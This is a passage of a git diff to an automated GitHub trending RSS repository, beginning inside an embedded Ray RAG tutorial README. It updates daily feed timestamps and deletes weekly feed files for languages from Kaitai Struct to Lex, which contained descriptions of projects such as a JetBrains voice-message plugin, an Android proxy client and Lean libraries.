href="https://github.com/ray-project/llm-applications">https://github.com/ray-project/llm-applications</a></li> <li><strong>Interactive notebook</strong>: <a href="https://github.com/ray-project/llm-applications/raw/main/notebooks/rag.ipynb">https://github.com/ray-project/llm-applications/blob/main/notebooks/rag.ipynb</a></li> <li><strong>Anyscale Endpoints</strong>: <a href="https://endpoints.anyscale.com/">https://endpoints.anyscale.com/</a></li> <li><strong>Ray documentation</strong>: <a href="https://docs.ray.io/">https://docs.ray.io/</a></li> </ul> <p>In this guide, we will learn how to:</p> <ul> <li>💻 Develop a retrieval augmented generation (RAG) based LLM application from scratch.</li> <li>🚀 Scale the major components (load, chunk, embed, index, serve, etc.) in our application.</li> <li>✅ Evaluate different configurations of our application to optimize for both per-component (ex. retrieval_score) and overall performance (quality_score).</li> <li>🔀 Implement LLM hybrid routing approach to bridge the gap b/w OSS and closed LLMs.</li> <li>📦 Serve the application in a highly scalable and available manner.</li> <li>💥 Share the 1st order and 2nd order impacts LLM applications have had on our products.</li> </ul> <br> <img width="800" src="https://images.ctfassets.net/xjan103pcp94/7FWrvPPlIdz5fs8wQgxLFz/fdae368044275028f0544a3d252fcfe4/image15.png"> <h2>Setup</h2> <h3>API keys</h3> <p>We'll be using <a href="https://platform.openai.com/docs/models/">OpenAI</a> to access ChatGPT models like <code>gpt-3.5-turbo</code>, <code>gpt-4</code>, etc. and <a href="https://endpoints.anyscale.com/">Anyscale Endpoints</a> to access OSS LLMs like <code>Llama-2-70b</code>. Be sure to create your accounts for both and have your credentials ready.</p> <h3>Compute</h3> <details> <summary>Local</summary> You could run this on your local laptop but a we highly recommend using a setup with access to GPUs. You can set this up on your own or on [Anyscale](http://anyscale.com/). </details> <details open> <summary>Anyscale</summary> <br> <ul> <li>Start a new <a href="https://console.anyscale-staging.com/o/anyscale-internal/workspaces">Anyscale workspace on staging</a> using an <a href="https://instances.vantage.sh/aws/ec2/g3.8xlarge"><code>g3.8xlarge</code></a> head node, which has 2 GPUs and 32 CPUs. We can also add GPU worker nodes to run the workloads faster. If you're not on Anyscale, you can configure a similar instance on your cloud.</li> <li>Use the <a href="https://docs.anyscale.com/reference/base-images/ray-262/py39#ray-2-6-2-py39"><code>default_cluster_env_2.6.2_py39</code></a> cluster environment.</li> <li>Use the <code>us-west-2</code> if you'd like to use the artifacts in our shared storage (source docs, vector DB dumps, etc.).</li> </ul> </details> <h3>Repository</h3> <pre><code class="language-bash">git clone https://github.com/ray-project/llm-applications.git . git config --global user.name &lt;GITHUB-USERNAME&gt; git config --global user.email &lt;EMAIL-ADDRESS&gt; </code></pre> <h3>Data</h3> <p>Our data is already ready at <code>/efs/shared_storage/goku/docs.ray.io/en/master/</code> (on Staging, <code>us-east-1</code>) but if you wanted to load it yourself, run this bash command (change <code>/desired/output/directory</code>, but make sure it's on the shared storage, so that it's accessible to the workers)</p> <pre><code class="language-bash">git clone https://github.com/ray-project/llm-applications.git . </code></pre> <h3>Environment</h3> <p>Then set up the environment correctly by specifying the values in your <code>.env</code> file, and installing the dependencies:</p> <pre><code class="language-bash">pip install --user -r requirements.txt export PYTHONPATH=$PYTHONPATH:$PWD pre-commit install pre-commit autoupdate </code></pre> <h3>Credentials</h3> <pre><code class="language-bash">touch .env # Add environment variables to .env OPENAI_API_BASE="https://api.openai.com/v1" OPENAI_API_KEY="" # https://platform.openai.com/account/api-keys ANYSCALE_API_BASE="https://api.endpoints.anyscale.com/v1" ANYSCALE_API_KEY="" # https://app.endpoints.anyscale.com/credentials DB_CONNECTION_STRING="dbname=postgres user=postgres host=localhost password=postgres" source .env </code></pre> <p>Now we're ready to go through the <a href="https://raw.githubusercontent.com/ray-project/llm-applications/main/notebooks/rag.ipynb">rag.ipynb</a> interactive notebook to develop and serve our LLM application!</p> <h3>Learn more</h3> <ul> <li>If your team is investing heavily in developing LLM applications, <a href="mailto:endpoints-help@anyscale.com">reach out</a> to us to learn more about how <a href="https://github.com/ray-project/ray">Ray</a> and <a href="http://anyscale.com/">Anyscale</a> can help you scale and productionize everything.</li> <li>Start serving (+fine-tuning) OSS LLMs with <a href="https://endpoints.anyscale.com/">Anyscale Endpoints</a> ($1/M tokens for <code>Llama-2-70b</code>) and private endpoints available upon request (1M free tokens trial).</li> <li>Learn more about how companies like OpenAI, Netflix, Pinterest, Verizon, Instacart and others leverage Ray and Anyscale for their AI workloads at the <a href="https://raysummit.anyscale.com/">Ray Summit 2023</a> this Sept 18-20 in San Francisco.</li> </ul> - - \ No newline at end of file diff --git a/kaitai-struct/daily/index.xml b/kaitai-struct/daily/index.xml index 268966b1842..f4cf5af7a15 100644 --- a/kaitai-struct/daily/index.xml +++ b/kaitai-struct/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kaitai Struct Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:32Z + 2023-09-25T01:33:43Z Daily Trending of Kaitai Struct in GitHub \ No newline at end of file diff --git a/kaitai-struct/weekly/index.xml b/kaitai-struct/weekly/index.xml deleted file mode 100644 index 4511d6c94a0..00000000000 --- a/kaitai-struct/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Kaitai Struct Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:34Z - Weekly Trending of Kaitai Struct in GitHub - - \ No newline at end of file diff --git a/kakounescript/daily/index.xml b/kakounescript/daily/index.xml index 1e9ce45ce57..c5e29bbf025 100644 --- a/kakounescript/daily/index.xml +++ b/kakounescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub KakouneScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:35Z + 2023-09-25T01:33:44Z Daily Trending of KakouneScript in GitHub \ No newline at end of file diff --git a/kakounescript/weekly/index.xml b/kakounescript/weekly/index.xml deleted file mode 100644 index 6fc4450811d..00000000000 --- a/kakounescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KakouneScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:36Z - Weekly Trending of KakouneScript in GitHub - - \ No newline at end of file diff --git a/kicad-layout/daily/index.xml b/kicad-layout/daily/index.xml index 96ed8c79abc..447609667d2 100644 --- a/kicad-layout/daily/index.xml +++ b/kicad-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:37Z + 2023-09-25T01:33:49Z Daily Trending of KiCad Layout in GitHub \ No newline at end of file diff --git a/kicad-layout/weekly/index.xml b/kicad-layout/weekly/index.xml deleted file mode 100644 index 292392fe50f..00000000000 --- a/kicad-layout/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KiCad Layout Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:40Z - Weekly Trending of KiCad Layout in GitHub - - \ No newline at end of file diff --git a/kicad-legacy-layout/daily/index.xml b/kicad-legacy-layout/daily/index.xml index 3cd9b64cf68..1798624056c 100644 --- a/kicad-legacy-layout/daily/index.xml +++ b/kicad-legacy-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Legacy Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:38Z + 2023-09-25T01:33:50Z Daily Trending of KiCad Legacy Layout in GitHub \ No newline at end of file diff --git a/kicad-legacy-layout/weekly/index.xml b/kicad-legacy-layout/weekly/index.xml deleted file mode 100644 index 43f58b9e0cb..00000000000 --- a/kicad-legacy-layout/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KiCad Legacy Layout Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:41Z - Weekly Trending of KiCad Legacy Layout in GitHub - - \ No newline at end of file diff --git a/kicad-schematic/daily/index.xml b/kicad-schematic/daily/index.xml index b1ce6020c5e..9774966a4e5 100644 --- a/kicad-schematic/daily/index.xml +++ b/kicad-schematic/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Schematic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:36Z + 2023-09-25T01:33:50Z Daily Trending of KiCad Schematic in GitHub \ No newline at end of file diff --git a/kicad-schematic/weekly/index.xml b/kicad-schematic/weekly/index.xml deleted file mode 100644 index e7ad81ddc9c..00000000000 --- a/kicad-schematic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KiCad Schematic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:38Z - Weekly Trending of KiCad Schematic in GitHub - - \ No newline at end of file diff --git a/kit/daily/index.xml b/kit/daily/index.xml index 559c0a5cbeb..ab1af3a97f3 100644 --- a/kit/daily/index.xml +++ b/kit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:40Z + 2023-09-25T01:33:53Z Daily Trending of Kit in GitHub \ No newline at end of file diff --git a/kit/weekly/index.xml b/kit/weekly/index.xml deleted file mode 100644 index 2bde8cf1bb0..00000000000 --- a/kit/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Kit Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:43Z - Weekly Trending of Kit in GitHub - - \ No newline at end of file diff --git a/kotlin/daily/index.xml b/kotlin/daily/index.xml index afde5de0342..6a036621344 100644 --- a/kotlin/daily/index.xml +++ b/kotlin/daily/index.xml @@ -1,14 +1,7 @@ GitHub Kotlin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:44Z + 2023-09-25T01:33:57Z Daily Trending of Kotlin in GitHub - - polina4096/voices - 2023-09-24T01:34:44Z - tag:github.com,2023-09-24:/polina4096/voices - - <p>record and listen to voice messages in your favorite IDE by JetBrains</p><hr><h1>Voices <a href="https://github.com/polina4096/voices/raw/mistress/LICENSE"><img src="https://img.shields.io/github/license/polina4096/voices" alt="GitHub"></a></h1> <p>Record and listen to voice messages in your favorite IDE by JetBrains: <a href="https://plugins.jetbrains.com/plugin/22766-voices">https://plugins.jetbrains.com/plugin/22766-voices</a></p> <p><a href="https://github.com/polina4096/voices/assets/33405371/b9c2ba99-c255-45f8-b6a3-7a5b624d82a8">https://github.com/polina4096/voices/assets/33405371/b9c2ba99-c255-45f8-b6a3-7a5b624d82a8</a></p> <h2>Usage</h2> <p>To record a voice message comment run "Record Voice Message", or go to "Edit" &gt; "Record Voice Message"</p> <h2>License</h2> <p>Distributed under the GPLv3 license.</p> - \ No newline at end of file diff --git a/kotlin/weekly/index.xml b/kotlin/weekly/index.xml deleted file mode 100644 index e554b892dcd..00000000000 --- a/kotlin/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Kotlin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:46Z - Weekly Trending of Kotlin in GitHub - - - gkd-kit/gkd - 2023-09-24T01:54:46Z - tag:github.com,2023-09-24:/gkd-kit/gkd - - <p>基于 无障碍 + 高级选择器 + 订阅规则 的自定义屏幕点击 Android APP</p><hr><h1>gkd</h1> <p>基于 <strong>无障碍</strong> + <strong>高级选择器</strong> + <strong>订阅规则</strong> 的自定义屏幕点击 APP</p> <h2>安装</h2> <ul> <li><a href="https://github.com/gkd-kit/gkd/releases">releases</a></li> <li><a href="https://lisonge.lanzouy.com/b06e1zoef">蓝奏云</a> 密码: gkd</li> </ul> <h2>功能</h2> <p>基于 <a href="https://github.com/gkd-kit/selector">高级选择器</a> + <a href="https://github.com/gkd-kit/subscription">订阅规则</a> + <a href="https://github.com/gkd-kit/inspect">快照审查</a>, 它可以实现</p> <ul> <li>点击跳过任意开屏广告/点击关闭应用内部任意弹窗广告, 如关闭百度贴吧帖子广告卡片/知乎回答底部推荐广告卡片</li> <li>一些快捷操作, 如微信电脑登录自动同意/微信扫描登录自动同意/微信自动领取红包</li> </ul> <table> <thead> <tr> <th></th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/65df91a7-fe9a-4701-914b-2b52723b01c9" alt="image"></td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/29b7c72a-b19a-4806-87e2-ece7719688f6" alt="image"></td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/b5764948-8b79-4230-b37b-5427112d48ce" alt="image"></td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/ebded716-ce90-47eb-bae1-7720697a2a14" alt="image"></td> </tr> <tr> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/2cc4f2e9-9241-4f49-aec6-9f7b43ea61c0" alt="image"></td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/ba30ef9a-83ae-4be2-8802-e150aacaf140" alt="image"></td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/ac41a57e-a498-46d1-a2cc-369103f8896a" alt="image"></td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/ca3323c2-436d-4571-bc5d-e72e5b7fcf6f" alt="image"></td> </tr> </tbody> </table> <h2>效果</h2> <table> <thead> <tr> <th></th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td><img src="https://github.com/gkd-kit/subscription/assets/38517192/32cfda78-b2e1-456c-8d85-bfb2bc4683aa" alt="image"> 微信自动领取红包</td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/ec0e9465-13d2-422b-97e2-644357ea564b" alt="image"> 关闭微信朋友圈广告</td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/cd4554f3-dd9f-431b-8e6d-6cfe7ac430ec" alt="image"> 关闭酷安字节 SDK 广告</td> <td><img src="https://github.com/gkd-kit/gkd/assets/38517192/576a7a6d-5196-4184-8b24-980434dfb15a" alt="image"> 关闭贴吧开屏广告及内部广告</td> </tr> </tbody> </table> - - - android/codelab-android-compose - 2023-09-24T01:54:46Z - tag:github.com,2023-09-24:/android/codelab-android-compose - - <p></p><hr><h1>Jetpack Compose Codelabs</h1> <p>This repository contains a set of Android Studio projects to help you learn about Compose in Android. Each sample contains the code for a specific Compose codelab.</p> <p>For more information about Jetpack Compose, please <a href="https://developer.android.com/jetpack/compose">read the documentation</a></p> <h2>💻 Requirements</h2> <p><a href="https://developer.android.com/studio">Android Studio Chipmunk</a>.</p> <h2>🧬 Codelabs</h2> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-basics">Basics codelabs</a></h3> <p>Go hands-on and learn the fundamentals of declarative UI, working with state, layouts and theming.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-layouts">Basic layouts codelab</a></h3> <p>Learn how to implement real-world designs with the composables and modifiers that Compose provides out of the box.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-state">State codelab</a></h3> <p>Understand patterns for working with state in a declarative world by building a Wellness application.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-theming">Theming codelab</a></h3> <p>Go hands on with Compose’s implementation of Material Design to understand how to theme an application’s colors, typography and shapes and support light and dark themes.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-migration">Migration codelab</a></h3> <p>Understand how Jetpack Compose and View-based UIs can co-exist and interact, making it easy to adopt Compose at your own pace.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-animation">Animation codelab</a></h3> <p>Learn how to use Jetpack Compose Animation APIs.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-navigation">Navigation codelab</a></h3> <p>Learn how to use the Jetpack Navigation library in Compose, navigate within your application, navigate with arguments, support deep-links, and test your navigation.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-testing">Testing codelab</a></h3> <p>Learn about testing Jetpack Compose UIs. Write your first tests, and learn about testing in isolation, debugging tests, the semantics tree, and test synchronization.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-accessibility">Accessibility codelab</a></h3> <p>Learn about the various ways to improve an app’s accessibility. Increase touch target sizes, add content descriptions, create custom actions, and more.</p> <h3><a href="https://developer.android.com/codelabs/jetpack-compose-adaptability">Adaptive codelab</a></h3> <p>Learn how to build adaptive apps for phones, tablets and foldables with Jetpack Compose. Improve reachability and ergonomics of your app with Material navigation components.</p> <h2>License</h2> <pre><code>Copyright 2021 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. </code></pre> - - - AntiNeko/CatBoxForAndroid - 2023-09-24T01:54:46Z - tag:github.com,2023-09-24:/AntiNeko/CatBoxForAndroid - - <p>CatBox is a universal proxy program for Android using sing-box. It was adapted from NekoBoxForAndroid, removing some unappealing content and improving the experience in some cases.</p><hr><h1>CatBox for Android</h1> <p><a href="https://android-arsenal.com/api?level=21"><img src="https://img.shields.io/badge/API-21%2B-brightgreen.svg?style=flat" alt="API"></a> <a href="https://github.com/AntiNeko/CatBoxForAndroid/releases"><img src="https://img.shields.io/github/v/release/AntiNeko/CatBoxForAndroid" alt="Releases"></a> <a href="https://www.gnu.org/licenses/gpl-3.0"><img src="https://img.shields.io/badge/license-GPL--3.0-orange.svg?sanitize=true" alt="License: GPL-3.0"></a></p> <p>sing-box / universal proxy toolchain for Android.</p> <p>一款使用 sing-box 的 Android 通用代理软件。</p> <p>改编自 <a href="https://github.com/MatsuriDayo/NekoBoxForAndroid">NekoBoxForAndroid</a>,移除了一些不令人喜欢的内容,改进了部分情况下的体验。</p> <h2>下载 / Downloads</h2> <h3>GitHub Releases</h3> <p><a href="https://github.com/AntiNeko/CatBoxForAndroid/releases"><img src="https://img.shields.io/github/downloads/AntiNeko/CatBoxForAndroid/total?label=downloads-total&amp;logo=github&amp;style=flat-square" alt="GitHub All Releases"></a></p> <p><a href="https://github.com/AntiNeko/CatBoxForAndroid/releases">下载</a></p> <h3>F-Droid</h3> <p><a href="https://apt.izzysoft.de/fdroid/"><img src="https://img.shields.io/badge/F--droid-IzzySoft-blue?logo=fdroid" alt="IzzySoft"></a></p> <p><a href="https://apt.izzysoft.de/fdroid/index/apk/moe.cb4a">下载 (IzzySoft)</a></p> <h2>更改记录 &amp; 发布频道 / Changelog &amp; Telegram channel</h2> <p><a href="https://t.me/AntiNek0">https://t.me/AntiNek0</a></p> <h2>项目主页 &amp; 文档 / Homepage &amp; Documents</h2> <p><a href="https://AntiNeko.github.io">https://AntiNeko.github.io</a></p> <h2>代理 / Proxy</h2> <ul> <li>SOCKS (4/4a/5)</li> <li>HTTP(S)</li> <li>SSH</li> <li>Shadowsocks</li> <li>VMess</li> <li>VLESS</li> <li>WireGuard</li> <li>Trojan</li> <li>Trojan-Go ( trojan-go-plugin )</li> <li>NaïveProxy ( naive-plugin )</li> <li>Hysteria ( hysteria-plugin )</li> <li>TUIC</li> </ul> <p>请到<a href="https://AntiNeko.github.io/m-plugin/">这里</a>下载插件。</p> <p>Please visit <a href="https://AntiNeko.github.io/m-plugin/">here</a> to download plugins.</p> <h2>订阅 / Subscription</h2> <ul> <li>Raw: some widely used formats (like shadowsocks, clash and v2rayN)</li> <li>原始格式:一些广泛使用的格式(如 shadowsocks、clash 和 v2rayN)</li> </ul> <h2>开发 / Development</h2> <h3>编译</h3> <h4>获取源代码</h4> <pre><code class="language-shell">git clone https://github.com/AntiNeko/CatBoxForAndroid.git </code></pre> <h4>libcore</h4> <p>环境:</p> <ul> <li>java-8-openjdk</li> <li>go (版本应尽可能新)</li> </ul> <p>运行:</p> <pre><code class="language-shell">./run lib core </code></pre> <p>得到 <code>app/libs/libcore.aar</code></p> <p>目前需要使用 <a href="https://github.com/MatsuriDayo/gomobile">带有 <code>-cache</code> 选项的 gomobile</a> 编译,如果 GOPATH 中不存在 gomobile 则会自动下载编译。</p> <h4>Dashboard</h4> <p>请确保已设置好正确的 Node 环境(pnpm 等)。</p> <pre><code class="language-shell">DASHBOARD_NAME=metacubexd # Or Yacd-meta ./run dashboard init $DASHBOARD_NAME </code></pre> <h4>apk</h4> <p>环境:</p> <ul> <li>jdk-17-openjdk</li> <li>ndk 25.0.8775105</li> </ul> <p>如果没有环境变量 <code>$ANDROID_HOME</code> 和 <code>$ANDROID_NDK_HOME</code> 可以运行脚本 <code>buildScript/init/env_ndk.sh</code></p> <pre><code class="language-shell">echo "sdk.dir=${ANDROID_HOME}" &gt; local.properties echo "ndk.dir=${ANDROID_HOME}/ndk/25.0.8775105" &gt;&gt; local.properties </code></pre> <p>签名准备(可选,建议编译后再签名):替换 <code>release.keystore</code> 为自己的。</p> <pre><code class="language-shell">export KEYSTORE_PASS= export ALIAS_NAME= export ALIAS_PASS= </code></pre> <p>以上这只是举例,实际使用请勿直接把密码信息放入环境变量,建议在编译后自行签名。</p> <p>下载 geo 资源文件:</p> <pre><code class="language-shell">./run init action gradle </code></pre> <p>正式编译:</p> <pre><code class="language-shell">./gradlew app:assembleOssRelease </code></pre> <p>在 <code>app/build/outputs/apk</code> 得到 apk 文件。</p> <h2>Credits</h2> <p>Core:</p> <ul> <li><a href="https://github.com/SagerNet/sing-box">SagerNet/sing-box</a></li> <li><a href="https://github.com/MatsuriDayo/sing-box-extra">Matsuridayo/sing-box-extra</a></li> </ul> <p>Android GUI:</p> <ul> <li><a href="https://github.com/shadowsocks/shadowsocks-android">shadowsocks/shadowsocks-android</a></li> <li><a href="https://github.com/SagerNet/SagerNet">SagerNet/SagerNet</a></li> <li><a href="https://github.com/MatsuriDayo/Matsuri">Matsuridayo/Matsuri</a></li> <li><a href="https://github.com/MatsuriDayo/NekoBoxForAndroid">MatsuriDayo/NekoBoxForAndroid</a></li> </ul> <p>Web Dashboard:</p> <ul> <li><a href="https://github.com/MetaCubeX/Yacd-meta">MetaCubeX/Yacd-meta</a></li> <li><a href="https://github.com/MetaCubeX/metacubexd">MetaCubeX/metacubexd</a></li> </ul> - - \ No newline at end of file diff --git a/krl/daily/index.xml b/krl/daily/index.xml index f0fd8398543..2fbf7146a98 100644 --- a/krl/daily/index.xml +++ b/krl/daily/index.xml @@ -1,7 +1,7 @@ GitHub KRL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:39Z + 2023-09-25T01:33:54Z Daily Trending of KRL in GitHub \ No newline at end of file diff --git a/krl/weekly/index.xml b/krl/weekly/index.xml deleted file mode 100644 index b298d3cd1fa..00000000000 --- a/krl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KRL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:43Z - Weekly Trending of KRL in GitHub - - \ No newline at end of file diff --git a/kusto/daily/index.xml b/kusto/daily/index.xml index 90e076260b3..6dcecdf5aec 100644 --- a/kusto/daily/index.xml +++ b/kusto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kusto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:41Z + 2023-09-25T01:33:52Z Daily Trending of Kusto in GitHub \ No newline at end of file diff --git a/kusto/weekly/index.xml b/kusto/weekly/index.xml deleted file mode 100644 index e6373afd1a8..00000000000 --- a/kusto/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Kusto Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:42Z - Weekly Trending of Kusto in GitHub - - \ No newline at end of file diff --git a/kvlang/daily/index.xml b/kvlang/daily/index.xml index 1c46e552939..4ce66dbd208 100644 --- a/kvlang/daily/index.xml +++ b/kvlang/daily/index.xml @@ -1,7 +1,7 @@ GitHub kvlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:52Z + 2023-09-25T01:34:04Z Daily Trending of kvlang in GitHub \ No newline at end of file diff --git a/kvlang/weekly/index.xml b/kvlang/weekly/index.xml deleted file mode 100644 index 70a8004042b..00000000000 --- a/kvlang/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub kvlang Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:54Z - Weekly Trending of kvlang in GitHub - - \ No newline at end of file diff --git a/labview/daily/index.xml b/labview/daily/index.xml index 0f6e7301802..98fcf4b18df 100644 --- a/labview/daily/index.xml +++ b/labview/daily/index.xml @@ -1,7 +1,7 @@ GitHub LabVIEW Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:52Z + 2023-09-25T01:34:05Z Daily Trending of LabVIEW in GitHub \ No newline at end of file diff --git a/labview/weekly/index.xml b/labview/weekly/index.xml deleted file mode 100644 index 2bb8b0874de..00000000000 --- a/labview/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LabVIEW Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:53Z - Weekly Trending of LabVIEW in GitHub - - \ No newline at end of file diff --git a/lark/daily/index.xml b/lark/daily/index.xml index 645265aa723..1be5fc6ea61 100644 --- a/lark/daily/index.xml +++ b/lark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:54Z + 2023-09-25T01:34:03Z Daily Trending of Lark in GitHub \ No newline at end of file diff --git a/lark/weekly/index.xml b/lark/weekly/index.xml deleted file mode 100644 index 53b36131656..00000000000 --- a/lark/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Lark Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:52Z - Weekly Trending of Lark in GitHub - - \ No newline at end of file diff --git a/lasso/daily/index.xml b/lasso/daily/index.xml index 623359b8108..68e285b5d2d 100644 --- a/lasso/daily/index.xml +++ b/lasso/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lasso Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:53Z + 2023-09-25T01:34:03Z Daily Trending of Lasso in GitHub \ No newline at end of file diff --git a/lasso/weekly/index.xml b/lasso/weekly/index.xml deleted file mode 100644 index 96ad0292f71..00000000000 --- a/lasso/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Lasso Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:53Z - Weekly Trending of Lasso in GitHub - - \ No newline at end of file diff --git a/latte/daily/index.xml b/latte/daily/index.xml index 20bc0837a27..6526723abd6 100644 --- a/latte/daily/index.xml +++ b/latte/daily/index.xml @@ -1,7 +1,7 @@ GitHub Latte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:56Z + 2023-09-25T01:34:07Z Daily Trending of Latte in GitHub \ No newline at end of file diff --git a/latte/weekly/index.xml b/latte/weekly/index.xml deleted file mode 100644 index afbcd9e104c..00000000000 --- a/latte/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Latte Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:55Z - Weekly Trending of Latte in GitHub - - \ No newline at end of file diff --git a/lean/daily/index.xml b/lean/daily/index.xml index a6ac93120c1..c84c7186bda 100644 --- a/lean/daily/index.xml +++ b/lean/daily/index.xml @@ -1,21 +1,7 @@ GitHub Lean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:59Z + 2023-09-25T01:34:09Z Daily Trending of Lean in GitHub - - leanprover/lean4-cli - 2023-09-24T01:34:59Z - tag:github.com,2023-09-24:/leanprover/lean4-cli - - <p>A Lean 4 library for configuring Command Line Interfaces and parsing command line arguments.</p><hr> - - - blanchette/logical_verification_2023 - 2023-09-24T01:34:59Z - tag:github.com,2023-09-24:/blanchette/logical_verification_2023 - - <p>Hitchhiker's Guide to Logical Verification (2023 Edition)</p><hr> - \ No newline at end of file diff --git a/lean/weekly/index.xml b/lean/weekly/index.xml deleted file mode 100644 index d91bb889e71..00000000000 --- a/lean/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Lean Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:59Z - Weekly Trending of Lean in GitHub - - - meoowers/rinha - 2023-09-24T01:54:59Z - tag:github.com,2023-09-24:/meoowers/rinha - - <p>🧪 | Rinha de Backend Lean4</p><hr> - - - leanprover/lean4-cli - 2023-09-24T01:54:59Z - tag:github.com,2023-09-24:/leanprover/lean4-cli - - <p>A Lean 4 library for configuring Command Line Interfaces and parsing command line arguments.</p><hr> - - - lftcm2023/lftcm2023 - 2023-09-24T01:54:59Z - tag:github.com,2023-09-24:/lftcm2023/lftcm2023 - - <p></p><hr> - - \ No newline at end of file diff --git a/less/daily/index.xml b/less/daily/index.xml index 2e4b629d9fe..6588b8a953a 100644 --- a/less/daily/index.xml +++ b/less/daily/index.xml @@ -1,7 +1,7 @@ GitHub Less Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:58Z + 2023-09-25T01:34:10Z Daily Trending of Less in GitHub \ No newline at end of file diff --git a/less/weekly/index.xml b/less/weekly/index.xml deleted file mode 100644 index 2d9ac1925df..00000000000 --- a/less/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Less Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:57Z - Weekly Trending of Less in GitHub - - \ No newline at end of file diff --git a/lex/daily/index.xml b/lex/daily/index.xml index e88e034779a..3cd26cc491c 100644 --- a/lex/daily/index.xml +++ b/lex/daily/index.xml 